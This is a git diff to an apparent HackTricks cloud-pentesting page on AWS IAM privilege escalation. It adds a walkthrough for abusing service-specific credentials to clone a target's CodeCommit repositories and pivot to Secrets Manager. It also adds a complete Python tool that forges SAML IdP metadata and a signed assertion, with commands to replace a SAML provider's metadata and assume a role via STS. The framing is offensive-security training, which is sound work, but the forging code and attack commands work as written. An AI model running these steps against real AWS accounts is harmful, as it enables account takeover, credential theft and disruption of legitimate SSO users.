@@ -104,21 +104,51 @@ aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user
104104
105105### ** ` iam:CreateServiceSpecificCredential ` | ` iam:ResetServiceSpecificCredential ` **
106106
107- Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user .
107+ Enables generating or resetting credentials for specific AWS services (most commonly ** CodeCommit** ). These are ** not ** AWS API keys: they are ** username/password ** credentials for a specific service, and you can only use them where that service accepts them .
108108
109- ** Exploit for Creation:**
109+ ** Creation:**
110110
111111``` bash
112- aws iam create-service-specific-credential --user-name < username > --service-name < service >
112+ aws iam create-service-specific-credential --user-name < target_user > --service-name codecommit.amazonaws.com
113113```
114114
115- ** Exploit for Reset:**
115+ Save:
116+
117+ - ` ServiceSpecificCredential.ServiceUserName `
118+ - ` ServiceSpecificCredential.ServicePassword `
119+
120+ ** Example:**
121+
122+ ``` bash
123+ # Find a repository you can access as the target
124+ aws codecommit list-repositories
125+
126+ export REPO_NAME=" <repo_name>"
127+ export AWS_REGION=" us-east-1" # adjust if needed
128+
129+ # Git URL (HTTPS)
130+ export CLONE_URL=" https://git-codecommit.${AWS_REGION} .amazonaws.com/v1/repos/${REPO_NAME} "
131+
132+ # Clone and use the ServiceUserName/ServicePassword when prompted
133+ git clone " $CLONE_URL "
134+ cd " $REPO_NAME "
135+ ```
136+
137+ > Note: The service password often contains characters like ` + ` , ` / ` and ` = ` . Using the interactive prompt is usually easiest. If you embed it into a URL, URL-encode it first.
138+
139+ At this point you can read whatever the target user can access in CodeCommit (e.g., a leaked credentials file). If you retrieve ** AWS access keys** from the repo, configure a new AWS CLI profile with those keys and then access resources (for example, read a flag from Secrets Manager):
140+
141+ ``` bash
142+ aws secretsmanager get-secret-value --secret-id < secret_name> --profile < new_profile>
143+ ```
144+
145+ ** Reset:**
116146
117147``` bash
118148aws iam reset-service-specific-credential --service-specific-credential-id < credential_id>
119149```
120150
121- ** Impact:** Direct privilege escalation within the user's service permissions .
151+ ** Impact:** Privilege escalation into the target user's permissions for the given service (and potentially beyond if you pivot using data retrieved from that service) .
122152
123153### ** ` iam:AttachUserPolicy ` || ` iam:AttachGroupPolicy ` **
124154
@@ -273,8 +303,264 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
273303aws iam update-saml-provider --saml-metadata-document < previous-xml> --saml-provider-arn < arn>
274304```
275305
276- > [ !NOTE]
277- > TODO: A Tool capable of generating the SAML metadata and login with a specified role
306+ ** End-to-end attack (like HackTricks Training IAM Lab 7):**
307+
308+ 1 . Enumerate the SAML provider and a role that trusts it:
309+
310+ ``` bash
311+ export AWS_REGION=${AWS_REGION:- us-east-1}
312+
313+ aws iam list-saml-providers
314+ export PROVIDER_ARN=" arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
315+
316+ # Backup current metadata so you can restore it later:
317+ aws iam get-saml-provider --saml-provider-arn " $PROVIDER_ARN " > /tmp/saml-provider-backup.json
318+
319+ # Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
320+ aws iam list-roles | grep -i saml || true
321+ aws iam get-role --role-name " <ROLE_NAME>"
322+ export ROLE_ARN=" arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
323+ ```
324+
325+ 2 . Forge IdP metadata + a signed SAML assertion for the role/provider pair:
326+
327+ ``` bash
328+ python3 -m venv /tmp/saml-federation-venv
329+ source /tmp/saml-federation-venv/bin/activate
330+ pip install lxml signxml
331+
332+ # Create /tmp/saml_forge.py from the expandable below first:
333+ python3 /tmp/saml_forge.py --role-arn " $ROLE_ARN " --principal-arn " $PROVIDER_ARN " > /tmp/saml-forge.json
334+ python3 - << 'PY '
335+ import json
336+ j=json.load(open("/tmp/saml-forge.json","r"))
337+ open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
338+ open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
339+ print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
340+ PY
341+ ```
342+
343+ <details >
344+ <summary >Expandable: <code >/tmp/saml_forge.py</code > helper (metadata + signed assertion)</summary >
345+
346+ ``` python
347+ # !/usr/bin/env python3
348+ from __future__ import annotations
349+
350+ import argparse
351+ import base64
352+ import datetime as dt
353+ import json
354+ import os
355+ import subprocess
356+ import tempfile
357+ import uuid
358+
359+ from lxml import etree
360+ from signxml import XMLSigner, methods
361+
362+
363+ def _run (cmd : list[str ]) -> str :
364+ p = subprocess.run(cmd, check = True , stdout = subprocess.PIPE , stderr = subprocess.PIPE , text = True )
365+ return p.stdout
366+
367+
368+ def _openssl_make_key_and_cert (tmpdir : str ) -> tuple[str , str ]:
369+ key_path = os.path.join(tmpdir, " key.pem" )
370+ cert_path = os.path.join(tmpdir, " cert.pem" )
371+ _run(
372+ [
373+ " openssl" ,
374+ " req" ,
375+ " -x509" ,
376+ " -newkey" ,
377+ " rsa:2048" ,
378+ " -keyout" ,
379+ key_path,
380+ " -out" ,
381+ cert_path,
382+ " -days" ,
383+ " 3650" ,
384+ " -nodes" ,
385+ " -subj" ,
386+ " /CN=attacker-idp" ,
387+ ]
388+ )
389+ return key_path, cert_path
390+
391+
392+ def _pem_cert_to_b64 (cert_pem : str ) -> str :
393+ lines: list[str ] = []
394+ for line in cert_pem.splitlines():
395+ if " BEGIN CERTIFICATE" in line or " END CERTIFICATE" in line:
396+ continue
397+ line = line.strip()
398+ if line:
399+ lines.append(line)
400+ return " " .join(lines)
401+
402+
403+ def make_metadata_xml (cert_b64 : str ) -> str :
404+ return f """ <?xml version="1.0"?>
405+ <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
406+ <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
407+ <KeyDescriptor use="signing">
408+ <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
409+ <X509Data>
410+ <X509Certificate> { cert_b64} </X509Certificate>
411+ </X509Data>
412+ </KeyInfo>
413+ </KeyDescriptor>
414+ <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
415+ </IDPSSODescriptor>
416+ </EntityDescriptor>
417+ """
418+
419+
420+ def make_signed_saml_response (role_arn : str , principal_arn : str , key_pem : str , cert_pem : str ) -> bytes :
421+ ns = {
422+ " saml2p" : " urn:oasis:names:tc:SAML:2.0:protocol" ,
423+ " saml2" : " urn:oasis:names:tc:SAML:2.0:assertion" ,
424+ }
425+
426+ issue_instant = dt.datetime.now(dt.timezone.utc)
427+ not_before = issue_instant - dt.timedelta(minutes = 2 )
428+ not_on_or_after = issue_instant + dt.timedelta(minutes = 10 )
429+
430+ resp_id = " _" + str (uuid.uuid4())
431+ assertion_id = " _" + str (uuid.uuid4())
432+
433+ response = etree.Element(etree.QName(ns[" saml2p" ], " Response" ), nsmap = ns)
434+ response.set(" ID" , resp_id)
435+ response.set(" Version" , " 2.0" )
436+ response.set(" IssueInstant" , issue_instant.isoformat())
437+ response.set(" Destination" , " https://signin.aws.amazon.com/saml" )
438+
439+ issuer = etree.SubElement(response, etree.QName(ns[" saml2" ], " Issuer" ))
440+ issuer.text = " https://attacker.invalid/idp"
441+
442+ status = etree.SubElement(response, etree.QName(ns[" saml2p" ], " Status" ))
443+ status_code = etree.SubElement(status, etree.QName(ns[" saml2p" ], " StatusCode" ))
444+ status_code.set(" Value" , " urn:oasis:names:tc:SAML:2.0:status:Success" )
445+
446+ assertion = etree.SubElement(response, etree.QName(ns[" saml2" ], " Assertion" ))
447+ assertion.set(" ID" , assertion_id)
448+ assertion.set(" Version" , " 2.0" )
449+ assertion.set(" IssueInstant" , issue_instant.isoformat())
450+
451+ a_issuer = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Issuer" ))
452+ a_issuer.text = " https://attacker.invalid/idp"
453+
454+ subject = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Subject" ))
455+ name_id = etree.SubElement(subject, etree.QName(ns[" saml2" ], " NameID" ))
456+ name_id.set(" Format" , " urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified" )
457+ name_id.text = " attacker"
458+
459+ subject_conf = etree.SubElement(subject, etree.QName(ns[" saml2" ], " SubjectConfirmation" ))
460+ subject_conf.set(" Method" , " urn:oasis:names:tc:SAML:2.0:cm:bearer" )
461+ subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[" saml2" ], " SubjectConfirmationData" ))
462+ subject_conf_data.set(" NotOnOrAfter" , not_on_or_after.isoformat())
463+ subject_conf_data.set(" Recipient" , " https://signin.aws.amazon.com/saml" )
464+
465+ conditions = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Conditions" ))
466+ conditions.set(" NotBefore" , not_before.isoformat())
467+ conditions.set(" NotOnOrAfter" , not_on_or_after.isoformat())
468+
469+ audience_restriction = etree.SubElement(conditions, etree.QName(ns[" saml2" ], " AudienceRestriction" ))
470+ audience = etree.SubElement(audience_restriction, etree.QName(ns[" saml2" ], " Audience" ))
471+ audience.text = " https://signin.aws.amazon.com/saml"
472+
473+ attr_stmt = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AttributeStatement" ))
474+
475+ attr_role = etree.SubElement(attr_stmt, etree.QName(ns[" saml2" ], " Attribute" ))
476+ attr_role.set(" Name" , " https://aws.amazon.com/SAML/Attributes/Role" )
477+ attr_role_value = etree.SubElement(attr_role, etree.QName(ns[" saml2" ], " AttributeValue" ))
478+ attr_role_value.text = f " { role_arn} , { principal_arn} "
479+
480+ attr_session = etree.SubElement(attr_stmt, etree.QName(ns[" saml2" ], " Attribute" ))
481+ attr_session.set(" Name" , " https://aws.amazon.com/SAML/Attributes/RoleSessionName" )
482+ attr_session_value = etree.SubElement(attr_session, etree.QName(ns[" saml2" ], " AttributeValue" ))
483+ attr_session_value.text = " saml-session"
484+
485+ key_bytes = open (key_pem, " rb" ).read()
486+ cert_bytes = open (cert_pem, " rb" ).read()
487+
488+ signer = XMLSigner(
489+ method = methods.enveloped,
490+ signature_algorithm = " rsa-sha256" ,
491+ digest_algorithm = " sha256" ,
492+ c14n_algorithm = " http://www.w3.org/2001/10/xml-exc-c14n#" ,
493+ )
494+ signed_assertion = signer.sign(
495+ assertion,
496+ key = key_bytes,
497+ cert = cert_bytes,
498+ reference_uri = f " # { assertion_id} " ,
499+ id_attribute = " ID" ,
500+ )
501+
502+ response.remove(assertion)
503+ response.append(signed_assertion)
504+
505+ return etree.tostring(response, xml_declaration = True , encoding = " utf-8" )
506+
507+
508+ def main () -> None :
509+ ap = argparse.ArgumentParser()
510+ ap.add_argument(" --role-arn" , required = True )
511+ ap.add_argument(" --principal-arn" , required = True )
512+ args = ap.parse_args()
513+
514+ with tempfile.TemporaryDirectory() as tmp:
515+ key_path, cert_path = _openssl_make_key_and_cert(tmp)
516+ cert_pem = open (cert_path, " r" , encoding = " utf-8" ).read()
517+ cert_b64 = _pem_cert_to_b64(cert_pem)
518+
519+ metadata_xml = make_metadata_xml(cert_b64)
520+ saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
521+ saml_b64 = base64.b64encode(saml_xml).decode(" ascii" )
522+
523+ print (json.dumps({" metadata_xml" : metadata_xml, " assertion_b64" : saml_b64}))
524+
525+
526+ if __name__ == " __main__" :
527+ main()
528+ ```
529+
530+ </details >
531+
532+ 3 . Update the SAML provider metadata to your IdP certificate, assume the role, and use the returned STS credentials:
533+
534+ ``` bash
535+ aws iam update-saml-provider --saml-provider-arn " $PROVIDER_ARN " \
536+ --saml-metadata-document file:///tmp/saml-metadata.xml
537+
538+ # Assertion is base64 and can be long. Keep it on one line:
539+ ASSERTION_B64=$( tr -d ' \n' < /tmp/saml-assertion.b64)
540+ SESSION_LINE=$( aws sts assume-role-with-saml --role-arn " $ROLE_ARN " --principal-arn " $PROVIDER_ARN " --saml-assertion " $ASSERTION_B64 " \
541+ --query ' Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
542+ IFS=$' \t ' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<< " $SESSION_LINE"
543+ echo " Session expires at: $SESSION_EXP "
544+
545+ # Use creds inline (no need to create an AWS CLI profile):
546+ AWS_ACCESS_KEY_ID=" $SESSION_AK " AWS_SECRET_ACCESS_KEY=" $SESSION_SK " AWS_SESSION_TOKEN=" $SESSION_ST " AWS_REGION=" $AWS_REGION " \
547+ aws sts get-caller-identity
548+ ```
549+
550+ 4 . Cleanup: restore previous metadata:
551+
552+ ``` bash
553+ python3 - << 'PY '
554+ import json
555+ j=json.load(open("/tmp/saml-provider-backup.json","r"))
556+ open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
557+ PY
558+ aws iam update-saml-provider --saml-provider-arn " $PROVIDER_ARN " \
559+ --saml-metadata-document file:///tmp/saml-metadata-original.xml
560+ ```
561+
562+ > [ !WARNING]
563+ > Updating SAML provider metadata is disruptive: while your metadata is in place, legitimate SSO users might not be able to authenticate.
278564
279565### ` iam:UpdateOpenIDConnectProviderThumbprint ` , ` iam:ListOpenIDConnectProviders ` , (` iam: ` ** ` GetOpenIDConnectProvider ` ** )
280566
@@ -329,5 +615,3 @@ aws iam put-role-permissions-boundary \
329615- [ https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ ] ( https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ )
330616
331617{{#include ../../../../banners/hacktricks-training.md}}
332-
333-
0 commit comments